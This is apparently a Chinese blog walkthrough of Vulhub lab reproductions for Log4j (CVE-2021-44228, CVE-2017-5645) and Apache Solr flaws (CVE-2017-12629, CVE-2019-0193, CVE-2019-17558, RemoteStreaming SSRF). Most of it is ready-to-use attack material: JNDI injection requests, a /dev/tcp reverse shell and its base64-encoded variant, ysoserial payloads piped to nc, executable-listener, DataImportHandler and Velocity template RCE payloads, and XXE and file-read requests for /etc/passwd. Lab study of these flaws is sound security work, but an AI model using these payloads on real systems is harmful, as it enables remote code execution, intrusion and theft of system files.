Vulhub——Log4j、solr

文章目录

  • 一、Log4j
    • [1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)](#1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228))
    • [1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)](#1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645))
  • 二、Solr
    • [2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)](#2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629))
    • [2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)](#2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629))
    • [2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)](#2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193))
    • [2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)](#2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558))
    • [Apache Solr RemoteStreaming 文件读取与SSRF漏洞](#Apache Solr RemoteStreaming 文件读取与SSRF漏洞)

一、Log4j

1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j2是Java语言的日志处理套件 ,使用极为广泛。在其2.0到2.14.1版本 中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

判断是否存在漏洞

发送数据包:

php 复制代码
GET /solr/admin/cores?action=${jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


获取反弹shell

bash 复制代码
bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
  • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
  • 10.111.X.X:本机IP;
  • 192.168.92.6:kali IP。

所有链接均可实现JDNI注入,获取shell。

访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

bash 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell


反弹shell

bash 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.92.6 4712


二、Solr

2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Solr是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。Solr对外提供类似于 Web-service 的 API 接 口 。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。

注意:Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。

影响版本:7.1.0之前版本

bash 复制代码
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983,可以看到solr的管理页面。

首先需要创建一个core,直接在web上创建会报错

  1. /opt/solr/server/solr新建test目录;
  2. /opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到test目录下。

创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

bash 复制代码
POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 149

{"add-listener":{"event":"postCommit","name":"n1","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后进行update操作,触发刚才添加的listener:

bash 复制代码
POST /solr/test/update HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 13

[{"id":"n1"}]


2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)

构造XXE poc:

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

编码后发送:

bash 复制代码
GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

注意需要知道core。

2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

bash 复制代码
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983

首先在页面左侧选择test核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

bash 复制代码
<dataConfig>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="sample"
            fileName=".*"
            baseDir="/"
            processor="FileListEntityProcessor"
            recursive="false"
            transformer="script:poc" />
  </document>
</dataConfig>

点击Execute with this Confuguratio

bash 复制代码
docker ps 
docker exec -it <container-id> /bin/bash

2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

同样需要先创建core,这次是在将/opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到/var/solr/data/test1目录下,先在/var/solr/data下创建test1文件夹。

通过如下API获取所有的core:

bash 复制代码
http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json

说明我们创建的core有效。

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

bash 复制代码
POST /solr/test1/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

注入Velocity模板即可执行任意命令:

bash 复制代码
http://192.168.92.6:8983/solr/test1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

docker安装成功后,需要新建core。


访问http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json判断是否存在该漏洞。

发送数据包:

php 复制代码
POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 82

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}

访问http://192.168.92.6:8983/solr/test/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

相关推荐
forestsea8 天前
分布式日志治理:Log4j2自定义Appender写日志到RocketMQ
java·log4j·java-rocketmq
遥不可及~~斌11 天前
Spring Boot 项目日志系统全攻略:Logback、Log4j2、Log4j与SLF4J整合指南
spring boot·log4j·logback
weixin_4383354011 天前
SpringBoot依赖冲突引发的 log4j 日志打印问题及解决方法
spring boot·单元测试·log4j
我是坑货12 天前
maven的项目管理和构建生命周期
java·log4j·maven
凭君语未可20 天前
详解Maven的主要生命周期
java·log4j·maven
WIN赢21 天前
单元测试的编写
单元测试·log4j
zerohawk24 天前
【log4j】配置Slf4j
junit·单元测试·log4j
熬了夜的程序员1 个月前
Go 语言封装邮件发送功能
开发语言·后端·golang·log4j
故事与他6451 个月前
Apache中间件漏洞攻略
java·服务器·安全·网络安全·中间件·log4j·apache
江沉晚呤时1 个月前
精益架构设计:深入理解与实践 C# 中的单一职责原则
java·jvm·算法·log4j·.netcore·net